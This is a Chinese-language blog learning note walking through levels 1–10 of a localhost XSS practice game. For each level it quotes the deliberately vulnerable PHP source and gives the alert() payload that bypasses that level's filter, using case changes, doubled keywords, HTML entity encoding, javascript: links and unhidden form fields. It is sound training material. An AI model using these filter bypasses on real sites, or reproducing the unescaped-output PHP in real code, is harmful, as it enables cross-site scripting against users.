XSS小游戏学习笔记（level 1-10）

悠悠 2022-05-11 08:46 143阅读 0赞

# **XSS****小游戏** #

## level 1 ##

**右键查看页面源代码**

**即提示你要让网页弹框，修改url后面的参数**

> [http://localhost/xss/level1.php?name=test][http_localhost_xss_level1.php_name_test]

**构造payload**

![70][]

![70 1][]

**看过源代码，也可以发现代码对用户输入输出完全没有过滤**

<?php 
    ini_set("display_errors", 0);
    $str = $_GET["name"];
    echo "<h2 align=center>欢迎用户".$str."</h2>";
    ?>

--------------------

## level 2 ##

**输入了正常的js,发现可以出现相关代码，说明预定义的字符代码已经被转译成了HTML实体了。**

> [http://localhost/xss/level2.php?keyword=<script>alert('xss')</script][http_localhost_xss_level2.php_keyword_script_alert_xss_script]>

![70 2][]

**查看页面源代码发现可以从下面的输入框里里面入手，构造闭合语句**

![70 3][]

**构造payload闭合**

> "/><script>window.alert()</script>

![70 4][]

**查看了源码，发现预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体，不过下面的并没有转换，所以我们能闭合构造**

<?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level2.php method=GET>
    <input name=keyword  value="'.$str.'">   //这里没有实体化
    <input type=submit name=submit value="搜索"/>
    </form>
    </center>';
    ?>

--------------------

## level 3 ##

**当我们尝试第二关的方法时发现第三关的两个地方都加了htmlspecialchars函数处理。**

**此时，双引号和尖括号都被转义了。**

<?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
    <form action=level3.php method=GET>
    <input name=keyword  value='".htmlspecialchars($str)."'>
    <input type=submit name=submit value=搜索 />
    </form>
    </center>";
    ?>

**但是htmlspecialchars默认配置是不过滤单引号的。只有设置了：quotestyle，才可以。**

**payload:**

> `'onclick='window.alert()`

![70 5][]

![70 6][]

--------------------

## level 4 ##

**这一关和第二关的没有太大区别**

**payload:**

> "οnclick="window.alert()

![70 7][]

**这一关，查看源代码，发现多了几个str，仔细看一下就知道，在这里将输入的内容分别去掉了 <，> ,然后，外面的引号变成了双引号。**

<?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str2=str_replace(">","",$str);
    $str3=str_replace("<","",$str2);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level4.php method=GET>
    <input name=keyword  value="'.$str3.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>

--------------------

## level 5 (过滤鼠标事件onclick,script标签) ##

尝试用上一关payload，发现这一关在**on中加上了下划线**。

![70 8][]

那么应该怎么做 查看代码发现**它把 script 和 onclick 中加入了下划线**。那么鼠标事件，就不能用了。可以考虑下用链接（href），即在链接中调用js。

<?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level5.php method=GET>
    <input name=keyword  value="'.$str3.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>

**payload：**

>     "><a href="javascript:οnclick=alert()">xss</a>

![70 9][]

--------------------

## level 6(过滤onclick、script、href、src、data标签) ##

尝试用上一关的payload，**发现href也被过滤**了。

![70 10][]

**查看源代码**,发现过滤了onclick、script、href、src、data标签:

<?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level6.php method=GET>
    <input name=keyword  value="'.$str6.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>

然而，少了一个函数strtolower()，把所有字符转换为小写。所以，我们可以用大写。

**payload:**

> `"><A HREF="javascript:alert()">xss</a>`

![70 11][]

--------------------

## level 7 (将特殊字符替换为空，双写绕过) ##

用上一关的payload第七关的已经加上了strtolower，已经不能用大写绕过了。

<?php 
    ini_set("display_errors", 0);
    $str =strtolower( $_GET["keyword"]);
    $str2=str_replace("script","",$str);
    $str3=str_replace("on","",$str2);
    $str4=str_replace("src","",$str3);
    $str5=str_replace("data","",$str4);
    $str6=str_replace("href","",$str5);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level7.php method=GET>
    <input name=keyword  value="'.$str6.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>

而且将这几个能用的都转换成空后，应该要怎么办？但这时我们要注意他只是将其转换成空，不像前面的第六题加了下划线，因此我们可以尝试双写绕过。

**payload：**``

> `"><scrscriptipt>alert()</scrscriptipt>`

--------------------

## level 8（编码绕过） ##

<?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    echo '<center>
    <form action=level8.php method=GET>
    <input name=keyword  value="'.htmlspecialchars($str).'">
    <input type=submit name=submit value=添加友情链接 />
    </form>
    </center>';
    ?>
    <?php
    echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    ?>
    <center><img src=level8.jpg></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
    ?>

这一关除了过滤了onclick、script、href、src、data标签，而且把双引号转换成了“&quot”，并且在添加友情链接input内还有htmlspecialchars转换。

注意，这里在友情链接只用了str7，只是将关键字转换了，那么如果用其他的编码的形式能否绕过呢？

**payload ：``**

> `HTML实体编码（HEX）`  
> `javascript:alert()`
> 
> `HTML实体编码（DEC）`  
> `javascript:alert()`

这里要注意不能把java四个转换编码，因为后台过滤的是script，所以把script其中一个编码一下就好。

![70 12][]

![70 13][]

--------------------

## level 9 ##

这题跟上题目差不多，就在友情链接上多了一点判断。

<?php
    if(false===strpos($str7,'http://'))
    {
      echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
            }
    else
    {
      echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    }
    ?>

若检测不到http则报错。   
只要让它检测到http，却不能起到作用就可以了，所以可以用注释。

**payload:**

> `javascript:alert(1)/*http://www.baidu.com*/`

![70 14][]

![70 15][]

--------------------

## level 10（修改隐藏标签） ##

这道题仔细看下代码就知道，它要get两个参数keyword和t\_sort：

<?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>

而且 keyword参数并没有什么用，t\_sort可以进行渗透那么在$str33这里进行构造语句<>被转换成空，那么script,src等也不能用了在代码中下面有三个隐藏的参数设置，在这里把t\_sort的 hidden更改一下成text。

**payload：**

> `t_link=&t_history=&t_sort="onclick="alert()"type="text`

![70 16][]

**比对：**

![70 17][]

![70 18][]

[http_localhost_xss_level1.php_name_test]: http://localhost/xss/level1.php?name=test
[70]: /images/20220511/0420f04bc57b4205812a42ed5359a988.png
[70 1]: /images/20220511/6a315ceb97cd43389295880eade78322.png
[http_localhost_xss_level2.php_keyword_script_alert_xss_script]: http://localhost/xss/level2.php?keyword=%3Cscript%3Ealert%28'%20rel=
[70 2]: /images/20220511/8e118ccbfefc47c5b3164df5b061aaec.png
[70 3]: /images/20220511/b0c4923cb4754ccd856a2625b5901601.png
[70 4]: /images/20220511/0863d13c31454e7a87e27e8188fce6f0.png
[70 5]: /images/20220511/c6d713f022e64bdcb4b6acb52a8202b7.png
[70 6]: /images/20220511/5238ea11692a4a2894044e6fbc590020.png
[70 7]: /images/20220511/00f52d021859464683f0d070ee9b5713.png
[70 8]: /images/20220511/ae6d9bcee9c443d596eb2a4b41bdfc46.png
[70 9]: /images/20220511/f365cfe480154f60a677662a8ae802a0.png
[70 10]: /images/20220511/c48328ad609f44ecaa2f5228ab050956.png
[70 11]: /images/20220511/e74e2b3b8e164624afe84be0443b37fe.png
[70 12]: /images/20220511/7e56994abc50475f997ddd7b801d7b43.png
[70 13]: /images/20220511/f696ef0040b94917a1aa613404a9ac5e.png
[70 14]: /images/20220511/930ea5995e464056861c9d0f3d409606.png
[70 15]: /images/20220511/1647e93614214514af9b658dada80ee7.png
[70 16]: /images/20220511/3f9c29e0a1ef41a2ab6398f18adf9c43.png
[70 17]: /images/20220511/2f38400e5b4c4337a91d6bd9df6dd76c.png
[70 18]: /images/20220511/1952789a2dc447019d55ed5a2ecd5083.png